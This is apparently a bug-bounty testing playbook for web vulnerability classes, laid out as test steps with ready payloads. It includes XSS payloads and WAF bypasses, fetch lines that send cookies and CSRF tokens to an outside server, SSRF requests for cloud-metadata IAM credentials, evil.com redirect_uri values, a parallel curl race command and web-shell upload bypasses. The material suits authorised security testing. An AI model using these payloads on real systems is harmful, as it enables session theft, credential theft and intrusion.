vuln-classes

Vulnerability Classes — Testing Playbook

IDOR (Insecure Direct Object Reference)

Setup: Two accounts (attacker + victim). Log in as both.

Test pattern:

1. Perform action as victim → note all IDs in requests
2. Replay same request with attacker's token + victim's IDs
3. If data returned → IDOR confirmed

Expand:

• Test GET, PUT, DELETE on same endpoint
• Test ALL sibling endpoints (export, share, archive, download, history)
• Test /api/v1/ if /api/v2/ is protected (version downgrade)
• Test without auth header entirely
• Test numeric ID +1, -1, 0
• Test GraphQL node(id: "base64") queries

Kill signals: All endpoints return 403 with wrong ID, UUIDs without enumeration path.

Auth Bypass

Test pattern:

1. Identify protected endpoint
2. Remove Authorization header → still works?
3. Try method override: X-HTTP-Method-Override: GET on POST
4. Try path traversal: /api/admin/./users, /api/v2/../v1/admin/
5. Try case variation: /Api/Admin/Users
6. Try HTTP method change: if GET is blocked, try POST/PUT/OPTIONS

Sibling check: If one endpoint in a controller has auth bypass, test ALL siblings.

SSRF (Server-Side Request Forgery)

Find injection points: URL parameters, webhook URLs, file import, image fetch, PDF generation.

Test sequence:

1. OOB first: https://YOUR_OOB_SERVER → confirm DNS callback
2. If callback → try internal: http://169.254.169.254/latest/meta-data/
3. If cloud metadata → get IAM creds: .../iam/security-credentials/ROLE_NAME
4. Try internal services: http://localhost:8080, http://10.0.0.1

Bypass filters:

http://127.0.0.1 → http://0x7f000001 → http://2130706433 → http://017700000001
http://169.254.169.254 → http://[::ffff:169.254.169.254]
DNS rebinding: register domain that resolves to 169.254.169.254
Open redirect chain: https://target.com/redirect?to=http://169.254.169.254

XSS (Cross-Site Scripting)

Context matters more than payload:

• HTML body: <img src=x onerror=alert(1)>
• Attribute: " onfocus="alert(1)" autofocus="
• JS string: ';alert(1)//
• Template: {{constructor.constructor('alert(1)')()}}

Impact proof (alert is NOT enough):

fetch('https://server/?c='+document.cookie)  // cookie theft
new Image().src='https://server/?t='+document.querySelector('[name=csrf]').value  // CSRF token

WAF bypass quick list:

<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>
<math><mtext><table><mglyph><style><!--</style><img src onerror=alert(1)>

Race Conditions

High-value targets: Coupon application, balance transfer, vote counting, rate limits, account creation bonuses.

Test: Send 20+ identical requests in parallel:

seq 1 20 | xargs -P 20 -I {} curl -s "https://target/api/apply-coupon" \
  -H "Authorization: Bearer TOKEN" -d '{"code":"DISCOUNT50"}'

If coupon applied multiple times → race confirmed.

GraphQL

Recon: Check /graphql, /api/graphql, /graphql/v1.

Introspection (informational alone — need auth bypass to report):

{"query":"{ __schema { types { name fields { name } } } }"}

Real bugs: Auth bypass on mutations (test without auth), IDOR via node(id), batch queries bypassing rate limits, nested query DoS.

OAuth / OIDC

Check: redirect_uri manipulation, PKCE enforcement, state parameter, code reuse.

redirect_uri bypass attempts:

redirect_uri=https://evil.com
redirect_uri=https://target.com.evil.com
redirect_uri=https://target.com/callback/../redirect?to=evil.com
redirect_uri=https://target.com/callback%[email protected]

Business Logic

Can't automate — requires understanding the application:

• Price manipulation (negative quantities, decimal abuse)
• Workflow bypass (skip steps in multi-step process)
• Privilege confusion (user A's action affects user B)
• Feature abuse (use intended feature in unintended way)
• Quota bypass (circumvent rate/usage limits)

File Upload

Extension bypass:

shell.php → shell.php.jpg → shell.pHp → shell.php%00.jpg → shell.php;.jpg

Content-type bypass: Set image/png but upload PHP/HTML content.

Magic bytes: Prepend GIF89a to PHP file.

SVG XSS: <svg onload="alert(1)"> in SVG upload.